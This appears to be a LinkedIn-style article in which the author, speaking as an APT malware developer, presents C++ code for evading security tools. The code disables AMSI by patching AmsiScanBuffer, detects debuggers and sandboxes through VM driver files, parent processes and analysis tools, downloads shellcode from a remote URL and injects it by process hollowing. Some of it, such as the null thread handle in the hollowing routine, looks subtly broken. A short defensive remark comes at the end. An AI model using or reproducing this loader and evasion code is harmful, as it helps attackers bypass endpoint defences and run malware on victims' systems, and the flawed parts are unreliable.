Mastering Evasion: Techniques for Bypassing AVs, EDRs, and Sandboxes

Mastering Evasion: Techniques for Bypassing AVs, EDRs, and Sandboxes

In the ever-evolving landscape of cybersecurity, the primary objective for an Advanced Persistent Threat (APT) malware developer is to craft payloads that remain undetected while achieving their goals of stealthy infiltration and persistent access. Unlike typical malware, which may rely on brute-force techniques or simple obfuscation, APTs are designed with sophistication and precision to evade advanced security mechanisms and maintain a foothold in a target environment.

As an APT malware developer, the challenge is not only to breach initial defenses but also to ensure that the payload can navigate through increasingly stringent security measures. The modern cybersecurity landscape is equipped with advanced defenses such as antivirus (AV) solutions, endpoint detection and response (EDR) systems, and sandbox environments. Each of these systems poses a significant hurdle, requiring a nuanced approach to malware development and evasion.

To achieve this, I employ a range of advanced techniques to ensure that my payloads remain undetected and operational. These techniques involve disabling or bypassing security features, evading analysis tools, and dynamically loading or executing shellcode to minimize static signatures. The sophistication of these methods reflects the meticulous planning and execution required to outmaneuver security professionals and maintain stealth.

The following sections delve into the specific strategies and implementations used to enhance the stealthiness of malware, including disabling Anti-Malware Scan Interface (AMSI), employing anti-debugging techniques, detecting sandbox environments, and executing dynamic shellcode loading and process hollowing. Understanding and mastering these advanced evasion techniques are crucial for APT developers aiming to achieve successful infiltration while avoiding detection and analysis.

This exploration provides insights into the methods employed to circumvent robust security measures and maintain a low profile, emphasizing the intricate dance between offensive tactics and defensive countermeasures in the world of cybersecurity.

Disabling AMSI (Anti-Malware Scan Interface)

AMSI is a powerful feature in Windows designed to scan and block malicious scripts. To circumvent this, I disable AMSI's scanning capabilities:

Implementation:

void disableAMSI() {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    if (!hAmsi) {
        std::cerr << "Failed to load AMSI DLL." << std::endl;
        return;
    }

    void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!pAmsiScanBuffer) {
        std::cerr << "Failed to get AMSI Scan Buffer address." << std::endl;
        return;
    }

    DWORD oldProtect;
    if (!VirtualProtect(pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect)) {
        std::cerr << "Failed to change memory protection." << std::endl;
        return;
    }

    *(BYTE*)pAmsiScanBuffer = 0xC3; // RET instruction
    VirtualProtect(pAmsiScanBuffer, 1, oldProtect, &oldProtect);
}
        

Details:

  1. Load AMSI DLL: Dynamically load the AMSI DLL to access its functions.
  2. Get Function Address: Locate the AmsiScanBuffer function responsible for scanning.
  3. Modify Memory Protection: Change the protection of the AmsiScanBuffer function to overwrite it.
  4. Disable AMSI: Replace the function's contents with a RET instruction to bypass scanning.


Anti-Debugging Techniques

Detecting if my code is under debugging helps in avoiding analysis. The IsDebuggerPresent function is a simple yet effective method:

Implementation:

bool isDebuggerPresent() {
    return IsDebuggerPresent();
}        

Details:

  1. Check Debugger Presence: This function determines if a debugger is attached.
  2. Conditional Execution: Alter behavior or terminate if debugging is detected to prevent analysis.


Sandbox Detection Through Artifact Checks

To ensure that my code isn't running in a sandbox, I check for specific artifacts associated with virtual environments:

Implementation:

bool checkSandboxArtifacts() {
    std::vector<const char*> artifacts = {
        "C:\\windows\\system32\\drivers\\vmmouse.sys",
        "C:\\windows\\system32\\drivers\\vmhgfs.sys",
        "C:\\windows\\system32\\drivers\\VBoxMouse.sys",
        "C:\\windows\\system32\\drivers\\VBoxSF.sys"
    };

    for (const auto& artifact : artifacts) {
        HANDLE hFile = CreateFileA(artifact, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile != INVALID_HANDLE_VALUE) {
            CloseHandle(hFile);
            return false;
        }
    }
    return true;
}
        

Details:

  1. Detect Known Artifacts: Search for files linked with virtual machines and sandboxes.
  2. Execution Control: If any artifacts are found, avoid executing the payload to prevent detection.


System Metrics Check

To further avoid running in virtualized or remote environments, I use system metrics:

Implementation:

bool checkSystemMetrics() {
    return GetSystemMetrics(SM_REMOTESESSION) == 0;
}        

Details:

  1. Check Remote Sessions: Detect if the system is in a remote session.
  2. Execution Control: Abort execution if a remote session is detected, indicating a sandbox or virtual environment.


Parent Process Check

Identifying if the parent process is a known debugger helps in avoiding debugging environments:

Implementation:

bool checkParentProcess() {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        std::cerr << "Failed to create process snapshot." << std::endl;
        return false;
    }

    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (pe32.th32ProcessID == GetCurrentProcessId()) {
                HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ParentProcessID);
                if (!hParent) {
                    std::cerr << "Failed to open parent process." << std::endl;
                    CloseHandle(hSnapshot);
                    return false;
                }

                WCHAR parentName[MAX_PATH];
                DWORD size = MAX_PATH;
                if (QueryFullProcessImageName(hParent, 0, parentName, &size) && wcsstr(parentName, L"WINDBG.EXE")) {
                    CloseHandle(hParent);
                    CloseHandle(hSnapshot);
                    return true;
                }

                CloseHandle(hParent);
            }
        } while (Process32Next(hSnapshot, &pe32));
    }

    CloseHandle(hSnapshot);
    return false;
}
        

Details:

  1. Process Snapshot: Capture a snapshot of running processes to find the parent process.
  2. Detect Debuggers: Check if the parent process is a known debugger (e.g., WinDbg) and adjust behavior accordingly.


Running Processes Detection

Scanning for the presence of analysis tools helps avoid running in an environment where the payload might be analyzed:

Implementation:

bool checkRunningProcesses() {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        std::cerr << "Failed to create process snapshot." << std::endl;
        return false;
    }

    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (wcsstr(pe32.szExeFile, L"WIRESHARK.EXE") || wcsstr(pe32.szExeFile, L"PROCEXP.EXE")) {
                CloseHandle(hSnapshot);
                return true;
            }
        } while (Process32Next(hSnapshot, &pe32));
    }

    CloseHandle(hSnapshot);
    return false;
}
        

Details:

  1. List Running Processes: Check for the presence of tools like Wireshark or Process Explorer.
  2. Avoid Execution: Skip running the payload if such tools are detected, as their presence indicates an analysis environment.


Dynamic Shellcode Loading

Dynamic shellcode loading is a technique used to fetch and execute shellcode from a remote source at runtime rather than embedding it directly into the executable. This approach enhances stealth by avoiding the presence of static shellcode in the binary, making it less detectable by signature-based antivirus systems.

How It Works

  1. Network Connection: The payload establishes a network connection to a predefined URL or server where the shellcode is hosted. This can be achieved using various libraries like WinINet or WinHTTP.
  2. Data Retrieval: The shellcode is downloaded in chunks. This is often done using HTTP requests to ensure data is fetched securely.
  3. Memory Allocation: Once the shellcode is retrieved, it is stored in a buffer within the memory of the payload.
  4. Execution: The shellcode is then executed by writing it to a new or existing process's memory space.

Detailed Steps in Code

Loading Shellcode from URL:

BOOL LoadShellcodeFromURL(const std::string& url, std::vector<uint8_t>& shellcode) {
    HINTERNET hInternet = InternetOpen(TEXT("ShellcodeLoader"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) {
        LogError("InternetOpen failed", GetLastError());
        return FALSE;
    }

    HINTERNET hConnect = InternetOpenUrl(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (!hConnect) {
        LogError("InternetOpenUrl failed", GetLastError());
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    std::vector<uint8_t> buffer(4096);
    DWORD bytesRead = 0;
    BOOL success = TRUE;

    while (InternetReadFile(hConnect, buffer.data(), (DWORD)buffer.size(), &bytesRead) && bytesRead > 0) {
        shellcode.insert(shellcode.end(), buffer.begin(), buffer.begin() + bytesRead);
    }

    if (GetLastError() != ERROR_SUCCESS) {
        LogError("InternetReadFile failed", GetLastError());
        success = FALSE;
    }

    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
    return success;
}        

Explanation:

  • InternetOpen: Initializes a connection to the internet.
  • InternetOpenUrl: Opens a URL to retrieve the shellcode.
  • InternetReadFile: Reads data from the URL in chunks.
  • Buffer Management: Accumulates the data into a vector<uint8_t>, which is then used as the shellcode.

Advantages

  • Reduced Binary Size: Avoids embedding large shellcode directly in the binary.
  • Enhanced Stealth: Difficult for static analysis tools to detect since the shellcode is not present in the file.


Process Hollowing and Shellcode Injection

Process hollowing is a sophisticated technique where the memory space of a legitimate process is manipulated to inject and execute malicious shellcode. This technique enables an attacker to run their code in the context of a legitimate process, which can help evade detection.

How It Works

  1. Create a New Process: Start a legitimate process in a suspended state. This process serves as the host for the injected shellcode.
  2. Unmap Original Image: Remove the original executable image from the process's memory space.
  3. Allocate Memory: Allocate memory in the target process where the shellcode will be written.
  4. Write Shellcode: Write the shellcode to the allocated memory.
  5. Set Context and Resume: Adjust the thread’s context to point to the new shellcode and resume the process to execute the shellcode.

Detailed Steps in Code

BOOL HollowProcessAndInjectShellcode(DWORD pid, const std::vector<uint8_t>& shellcode) {
    typedef HANDLE(WINAPI* pOpenProcess)(DWORD, BOOL, DWORD);
    typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
    typedef BOOL(WINAPI* pGetThreadContext)(HANDLE, LPCONTEXT);
    typedef BOOL(WINAPI* pSetThreadContext)(HANDLE, const CONTEXT*);
    typedef LPVOID(WINAPI* pVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
    typedef BOOL(WINAPI* pWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
    typedef DWORD(WINAPI* pResumeThread)(HANDLE);

    pOpenProcess pOpenProc = (pOpenProcess)GetProcAddress(GetModuleHandle("kernel32.dll"), "OpenProcess");
    pNtUnmapViewOfSection pNtUnmapView = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtUnmapViewOfSection");
    pGetThreadContext pGetThreadCtx = (pGetThreadContext)GetProcAddress(GetModuleHandle("kernel32.dll"), "GetThreadContext");
    pSetThreadContext pSetThreadCtx = (pSetThreadContext)GetProcAddress(GetModuleHandle("kernel32.dll"), "SetThreadContext");
    pVirtualAllocEx pVirtAllocEx = (pVirtualAllocEx)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
    pWriteProcessMemory pWriteProcMem = (pWriteProcessMemory)GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
    pResumeThread pResumeThrd = (pResumeThread)GetProcAddress(GetModuleHandle("kernel32.dll"), "ResumeThread");

    HANDLE hProcess = pOpenProc(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        LogError("Failed to open process", GetLastError());
        return FALSE;
    }

    HANDLE hThread = NULL; // Adjust this as needed
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_FULL;

    if (!pGetThreadCtx(hThread, &ctx)) {
        LogError("Failed to get thread context", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }

    PVOID imageBaseAddress;
    SIZE_T bytesRead;
    if (!ReadProcessMemory(hProcess, (PBYTE)ctx.Rip + 0x10, &imageBaseAddress, sizeof(PVOID), &bytesRead)) {
        LogError("Failed to read process memory", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }

    if (pNtUnmapView(hProcess, imageBaseAddress) != STATUS_SUCCESS) {
        LogError("Failed to unmap process section", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }

    PVOID remoteShellcode = pVirtAllocEx(hProcess, imageBaseAddress, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!remoteShellcode) {
        LogError("Failed to allocate memory in target process", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }

    if (!pWriteProcMem(hProcess, remoteShellcode, shellcode.data(), shellcode.size(), NULL)) {
        LogError("Failed to write shellcode to target process", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }

    #ifdef _WIN64
    ctx.Rip = (DWORD64)remoteShellcode;
    #else
    ctx.Eip = (DWORD)remoteShellcode;
    #endif

    if (!pSetThreadCtx(hThread, &ctx)) {
        LogError("Failed to set thread context", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }

    if (pResumeThrd(hThread) == (DWORD)-1) {
        LogError("Failed to resume thread", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}
        

Explanation:

  1. Open Process: Gain access to the target process using OpenProcess with appropriate permissions.
  2. Get Thread Context: Retrieve the context of the thread where the shellcode will be injected.
  3. Unmap Original Image: Remove the original executable image from the process's memory space using NtUnmapViewOfSection.
  4. Allocate Memory: Allocate space in the process’s memory for the new shellcode with VirtualAllocEx.
  5. Write Shellcode: Write the shellcode to the allocated memory using WriteProcessMemory.
  6. Adjust Context: Set the thread context to point to the new shellcode.
  7. Resume Thread: Resume the thread to execute the shellcode.

Conclusion

Crafting malware that successfully evades detection demands a profound mastery of system and security mechanisms. By employing advanced techniques such as disabling AMSI, detecting debugging and sandbox environments, and dynamically executing shellcode, I am able to ensure that my payloads operate with heightened stealth and effectiveness. Mastering these sophisticated methods not only enhances the likelihood of successful execution but also provides valuable insights into bolstering defenses against such complex attacks.

The techniques discussed exemplify the lengths to which attackers will go to bypass security measures and achieve their objectives. For cybersecurity professionals, understanding these advanced evasion strategies is essential for developing robust defenses and maintaining resilience against evolving threats.

In the ever-evolving landscape of cybersecurity, staying informed about cutting-edge evasion techniques is critical for both offense and defense. I invite you to connect and share your thoughts on these methods and other cybersecurity topics, fostering a collaborative effort to strengthen our defenses and stay ahead of emerging threats.

Shubhangi Gupta

System Specialist at Moodys | RPA | Tech

6 个月

Good to know!

回复
Manaswi Sharma

Analyst @ Goldman Sachs - Asset and Wealth Management | Monitoring & Testing

6 个月

Very helpful!!!

回复

要查看或添加评论,请登录

Abhishek sharma的更多文章

社区洞察

其他会员也浏览了